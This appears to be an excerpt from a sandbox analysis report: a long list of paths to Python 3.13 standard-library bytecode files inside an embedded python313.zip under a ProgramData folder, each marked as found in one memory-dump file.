"C:\ProgramData\NexusSoftware\felix1\python313.zip\__hello__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\constants.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\events.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\futures.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\locks.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\log.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\mixins.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\protocols.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\queues.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\runners.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\sslproto.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\staggered.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\streams.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\tasks.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\threads.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\timeouts.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\trsock.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\wintypes.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\_aix.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\_endian.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\ascii.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\has_key.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\panel.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\textpad.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\dumb.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\gnu.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\ndbm.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\sqlite3.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\base64mime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\charset.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\encoders.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\errors.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\feedparser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\generator.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\header.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\iterators.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\message.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\policy.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\quoprimime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\utils.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_parseaddr.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_policybase.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\aliases.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\ascii.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\big5.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\charmap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp037.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1006.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1026.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1125.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1140.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1250.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1251.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1252.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1253.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1254.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1255.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1256.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1257.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1258.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp273.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp424.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp437.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp500.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp720.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp737.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp775.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp850.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp852.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp855.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp856.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp857.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp858.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp860.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp861.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp862.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp863.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp864.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp865.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp866.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp869.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp874.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp875.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp932.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp949.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp950.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_jp.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_kr.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\gb18030.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\gb2312.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\gbk.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\hz.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\idna.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\johab.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\koi8_r.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\koi8_t.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\koi8_u.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\kz1048.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\latin_1.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mbcs.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\oem.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\palmos.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\ptcp154.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\rot_13.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\tis_620.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_16.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_32.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_7.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_8.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\html\entities.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\html\parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\html\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\client.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\cookiejar.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\cookies.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\server.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_10.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_11.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_13.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_14.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_15.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_16.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_4.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_5.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_6.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_7.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_8.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_9.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_greek.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_farsi.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_arabic.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_croatian.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_cyrillic.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_roman.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\punycode.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_iceland.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_latin2.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_16_be.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_romanian.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mac_turkish.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\shift_jis.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\quopri_codec.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\raw_unicode_escape.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\undefined.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\shift_jisx0213.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\shift_jis_2004.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_16_le.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\unicode_escape.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_32_le.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_32_be.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_8_sig.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\uu_codec.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\zlib_codec.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\machinery.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sysconfig\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\_bootstrap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\_bootstrap_external.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\connection.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\context.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\forkserver.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\heap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\managers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\pool.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_fork.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_forkserver.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_spawn_posix.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\popen_spawn_win32.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\process.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\queues.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\reduction.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\resource_sharer.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\resource_tracker.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\sharedctypes.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\shared_memory.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\spawn.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\synchronize.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\module_docs.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sysconfig\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\site-packages\README.txt" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\robotparser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\async_case.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\_zoneinfo.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\simple_server.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\minicompat.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\base_eventqueue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\completing_reader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\fancy_termios.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp 